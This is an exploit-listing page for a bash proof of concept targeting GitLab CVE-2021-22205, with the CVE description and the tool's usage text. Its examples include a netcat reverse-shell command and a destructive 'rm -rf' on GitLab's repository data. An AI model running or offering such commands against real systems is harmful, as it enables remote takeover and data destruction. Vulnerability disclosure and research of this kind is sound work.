CVE-2021-22205 PoC — GitLab 代码注入漏洞

Source

https://github.com/NukingDragons/gitlab-cve-2021-22205

Associated Vulnerability

Title: GitLab 代码注入漏洞 (CVE-2021-22205)
Description:An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Description

A simple bash script that exploits CVE-2021-22205 against vulnerable instances of gitlab

Readme

# gitlab-cve-2021-22205
A simple bash script that exploits CVE-2021-22205 against vulnerable instances of gitlab

# Usage
```
Usage: cve-2021-22205.sh [options]
Options:
	-h,--help		Show this help
	-t,--target		Set the target server (i.e. "http://gitlab.example.com")
	-i,--reverse-ip		Set the IP to connect back to
	-p,--reverse-port	Set the port to connect back to
	-c,--command		Set the raw command to run instead of the built-in reverse shell (i.e. "nc -e /bin/bash 127.0.0.1 1337")
Examples:
	Use the built-in reverse shell payload:
		cve-2021-22205.sh -t http://gitlab.example.com -i 127.0.0.1 -p 1337
	Run a custom command:
		cve-2021-22205.sh -t http://gitlab.example.com -c "rm -rf /var/opt/gitlab/git-data/*"
```

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →